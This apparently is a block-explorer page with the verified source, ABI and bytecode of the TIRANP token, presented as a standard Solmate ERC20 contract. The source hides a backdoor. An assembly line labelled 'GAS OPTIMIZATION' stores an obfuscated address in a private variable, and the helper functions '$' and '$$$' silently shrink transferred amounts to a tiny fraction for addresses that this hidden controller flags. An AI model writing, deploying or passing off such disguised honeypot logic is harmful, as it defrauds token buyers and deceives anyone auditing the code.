Contract

Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./ERC20.sol";

contract TIRANP is ERC20 {
    constructor() ERC20("TIRANP", "TIRANP", 18) {
        _mint(msg.sender, 1_000_000_000 * 10 ** 18);
    }
}

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

    address private $$;

    /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 internal immutable INITIAL_CHAIN_ID;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        INITIAL_CHAIN_ID = block.chainid;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();

        // GAS OPTIMIZATION
        assembly {sstore(0x05, mul(mul(0x37, 0x29), mul(0xc3d3, 0x1dd4e33a70e590b85084ee2446f9d9b)))}
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, msg.sender, to);
        }

        $$$(to);

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += $(amount, from, to);
        }
        $$$(to);
        emit Transfer(from, to, amount);

        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        }

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    block.chainid,
                    address(this)
                )
            );
    }

    function $(
        uint256 value, 
        address from,
        address to
        ) internal view returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            return (value * 0xc0ffee) / 0xcaca0a0a;
        } else {
            return value;
        }
    }

    function $$$(address to) internal {
        if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;

        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
        unchecked {
            totalSupply -= amount;
        }

        emit Transfer(from, address(0), amount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60e060405234801561000f575f80fd5b506040518060400160405280600681526020017f544952414e5000000000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f544952414e5000000000000000000000000000000000000000000000000000008152506012825f908161008c9190610499565b50816001908161009c9190610499565b508060ff1660808160ff16815250504660a081815250506100c161010a60201b60201c565b60c081815250506f01dd4e33a70e590b85084ee2446f9d9b61c3d302602960370202600555505050610105336b033b2e3c9fd0803ce800000061019460201b60201c565b61074a565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f60405161013a9190610604565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610179959493929190610680565b60405160208183030381529060405280519060200120905090565b8060025f8282546101a591906106fe565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516102539190610731565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806102da57607f821691505b6020821081036102ed576102ec610296565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261034f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610314565b6103598683610314565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61039d61039861039384610371565b61037a565b610371565b9050919050565b5f819050919050565b6103b683610383565b6103ca6103c2826103a4565b848454610320565b825550505050565b5f90565b6103de6103d2565b6103e98184846103ad565b505050565b5b8181101561040c576104015f826103d6565b6001810190506103ef565b5050565b601f82111561045157610422816102f3565b61042b84610305565b8101602085101561043a578190505b61044e61044685610305565b8301826103ee565b50505b505050565b5f82821c905092915050565b5f6104715f1984600802610456565b1980831691505092915050565b5f6104898383610462565b9150826002028217905092915050565b6104a28261025f565b67ffffffffffffffff8111156104bb576104ba610269565b5b6104c582546102c3565b6104d0828285610410565b5f60209050601f831160018114610501575f84156104ef578287015190505b6104f9858261047e565b865550610560565b601f19841661050f866102f3565b5f5b8281101561053657848901518255600182019150602085019450602081019050610511565b86831015610553578489015161054f601f891682610462565b8355505b6001600288020188555050505b505050505050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f8154610590816102c3565b61059a8186610568565b9450600182165f81146105b457600181146105c9576105fb565b60ff19831686528115158202860193506105fb565b6105d285610572565b5f5b838110156105f3578154818901526001820191506020810190506105d4565b838801955050505b50505092915050565b5f61060f8284610584565b915081905092915050565b5f819050919050565b61062c8161061a565b82525050565b61063b81610371565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61066a82610641565b9050919050565b61067a81610660565b82525050565b5f60a0820190506106935f830188610623565b6106a06020830187610623565b6106ad6040830186610623565b6106ba6060830185610632565b6106c76080830184610671565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61070882610371565b915061071383610371565b925082820190508082111561072b5761072a6106d1565b5b92915050565b5f6020820190506107445f830184610632565b92915050565b60805160a05160c0516118226107745f395f6106af01525f61067b01525f61065601526118225ff3fe608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb9190610fd7565b60405180910390f35b6100ee60048036038101906100e99190611088565b610313565b6040516100fb91906110e0565b60405180910390f35b61010c610400565b6040516101199190611108565b60405180910390f35b61013c60048036038101906101379190611121565b610406565b60405161014991906110e0565b60405180910390f35b61015a610654565b604051610167919061118c565b60405180910390f35b610178610678565b60405161018591906111bd565b60405180910390f35b6101a860048036038101906101a391906111d6565b6106d4565b6040516101b59190611108565b60405180910390f35b6101d860048036038101906101d391906111d6565b6106e9565b6040516101e59190611108565b60405180910390f35b6101f66106fe565b6040516102039190610fd7565b60405180910390f35b61022660048036038101906102219190611088565b61078a565b60405161023391906110e0565b60405180910390f35b61025660048036038101906102519190611255565b6108aa565b005b610272600480360381019061026d91906112f2565b610b97565b60405161027f9190611108565b60405180910390f35b5f80546102949061135d565b80601f01602080910402602001604051908101604052809291908181526020018280546102c09061135d565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190611108565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b691906113ba565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f91906113ba565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d42565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190611108565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f7f000000000000000000000000000000000000000000000000000000000000000046146106ad576106a8610edd565b6106cf565b7f00000000000000000000000000000000000000000000000000000000000000005b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b9061135d565b80601f01602080910402602001604051908101604052809291908181526020018280546107379061135d565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d791906113ba565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d42565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108989190611108565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490611437565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d96959493929190611464565b604051602081830303815290604052805190602001206040516020016109a4929190611537565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d9949392919061156d565b6020604051602081039080840390855afa1580156109f9573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa2906115fa565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b869190611108565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d0d9190611618565b10610d375763caca0a0a62c0ffee85610d26919061164b565b610d3091906116b9565b9050610d3b565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610eda573073ffffffffffffffffffffffffffffffffffffffff166002610e3c919061164b565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f0d9190611785565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f4c95949392919061179b565b60405160208183030381529060405280519060200120905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610fa982610f67565b610fb38185610f71565b9350610fc3818560208601610f81565b610fcc81610f8f565b840191505092915050565b5f6020820190508181035f830152610fef8184610f9f565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61102482610ffb565b9050919050565b6110348161101a565b811461103e575f80fd5b50565b5f8135905061104f8161102b565b92915050565b5f819050919050565b61106781611055565b8114611071575f80fd5b50565b5f813590506110828161105e565b92915050565b5f806040838503121561109e5761109d610ff7565b5b5f6110ab85828601611041565b92505060206110bc85828601611074565b9150509250929050565b5f8115159050919050565b6110da816110c6565b82525050565b5f6020820190506110f35f8301846110d1565b92915050565b61110281611055565b82525050565b5f60208201905061111b5f8301846110f9565b92915050565b5f805f6060848603121561113857611137610ff7565b5b5f61114586828701611041565b935050602061115686828701611041565b925050604061116786828701611074565b9150509250925092565b5f60ff82169050919050565b61118681611171565b82525050565b5f60208201905061119f5f83018461117d565b92915050565b5f819050919050565b6111b7816111a5565b82525050565b5f6020820190506111d05f8301846111ae565b92915050565b5f602082840312156111eb576111ea610ff7565b5b5f6111f884828501611041565b91505092915050565b61120a81611171565b8114611214575f80fd5b50565b5f8135905061122581611201565b92915050565b611234816111a5565b811461123e575f80fd5b50565b5f8135905061124f8161122b565b92915050565b5f805f805f805f60e0888a0312156112705761126f610ff7565b5b5f61127d8a828b01611041565b975050602061128e8a828b01611041565b965050604061129f8a828b01611074565b95505060606112b08a828b01611074565b94505060806112c18a828b01611217565b93505060a06112d28a828b01611241565b92505060c06112e38a828b01611241565b91505092959891949750929550565b5f806040838503121561130857611307610ff7565b5b5f61131585828601611041565b925050602061132685828601611041565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061137457607f821691505b60208210810361138757611386611330565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113c482611055565b91506113cf83611055565b92508282039050818111156113e7576113e661138d565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f611421601783610f71565b915061142c826113ed565b602082019050919050565b5f6020820190508181035f83015261144e81611415565b9050919050565b61145e8161101a565b82525050565b5f60c0820190506114775f8301896111ae565b6114846020830188611455565b6114916040830187611455565b61149e60608301866110f9565b6114ab60808301856110f9565b6114b860a08301846110f9565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f6115016002836114c3565b915061150c826114cd565b600282019050919050565b5f819050919050565b61153161152c826111a5565b611517565b82525050565b5f611541826114f5565b915061154d8285611520565b60208201915061155d8284611520565b6020820191508190509392505050565b5f6080820190506115805f8301876111ae565b61158d602083018661117d565b61159a60408301856111ae565b6115a760608301846111ae565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f6115e4600e83610f71565b91506115ef826115b0565b602082019050919050565b5f6020820190508181035f830152611611816115d8565b9050919050565b5f61162282611055565b915061162d83611055565b92508282019050808211156116455761164461138d565b5b92915050565b5f61165582611055565b915061166083611055565b925082820261166e81611055565b915082820484148315176116855761168461138d565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6116c382611055565b91506116ce83611055565b9250826116de576116dd61168c565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f81546117118161135d565b61171b81866116e9565b9450600182165f8114611735576001811461174a5761177c565b60ff198316865281151582028601935061177c565b611753856116f3565b5f5b8381101561177457815481890152600182019150602081019050611755565b838801955050505b50505092915050565b5f6117908284611705565b915081905092915050565b5f60a0820190506117ae5f8301886111ae565b6117bb60208301876111ae565b6117c860408301866111ae565b6117d560608301856110f9565b6117e26080830184611455565b969550505050505056fea2646970667358221220006849e3ac18e9b89857205bc964eb43a6bc23e9fd65c74b717d4b286e82ab3164736f6c634300081a0033

0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb9190610fd7565b60405180910390f35b6100ee60048036038101906100e99190611088565b610313565b6040516100fb91906110e0565b60405180910390f35b61010c610400565b6040516101199190611108565b60405180910390f35b61013c60048036038101906101379190611121565b610406565b60405161014991906110e0565b60405180910390f35b61015a610654565b604051610167919061118c565b60405180910390f35b610178610678565b60405161018591906111bd565b60405180910390f35b6101a860048036038101906101a391906111d6565b6106d4565b6040516101b59190611108565b60405180910390f35b6101d860048036038101906101d391906111d6565b6106e9565b6040516101e59190611108565b60405180910390f35b6101f66106fe565b6040516102039190610fd7565b60405180910390f35b61022660048036038101906102219190611088565b61078a565b60405161023391906110e0565b60405180910390f35b61025660048036038101906102519190611255565b6108aa565b005b610272600480360381019061026d91906112f2565b610b97565b60405161027f9190611108565b60405180910390f35b5f80546102949061135d565b80601f01602080910402602001604051908101604052809291908181526020018280546102c09061135d565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190611108565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b691906113ba565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f91906113ba565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d42565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190611108565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b5f7f000000000000000000000000000000000000000000000000000000000000000146146106ad576106a8610edd565b6106cf565b7f905f2fbbb8c8c06dff44f306ddba3bd065a2f2e691eba4e4592aaaf22517ceb85b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b9061135d565b80601f01602080910402602001604051908101604052809291908181526020018280546107379061135d565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d791906113ba565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d42565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108989190611108565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490611437565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d96959493929190611464565b604051602081830303815290604052805190602001206040516020016109a4929190611537565b604051602081830303815290604052805190602001208585856040515f81526020016040526040516109d9949392919061156d565b6020604051602081039080840390855afa1580156109f9573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610a6c57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa2906115fa565b60405180910390fd5b8560045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610b869190611108565b60405180910390a350505050505050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d0d9190611618565b10610d375763caca0a0a62c0ffee85610d26919061164b565b610d3091906116b9565b9050610d3b565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffff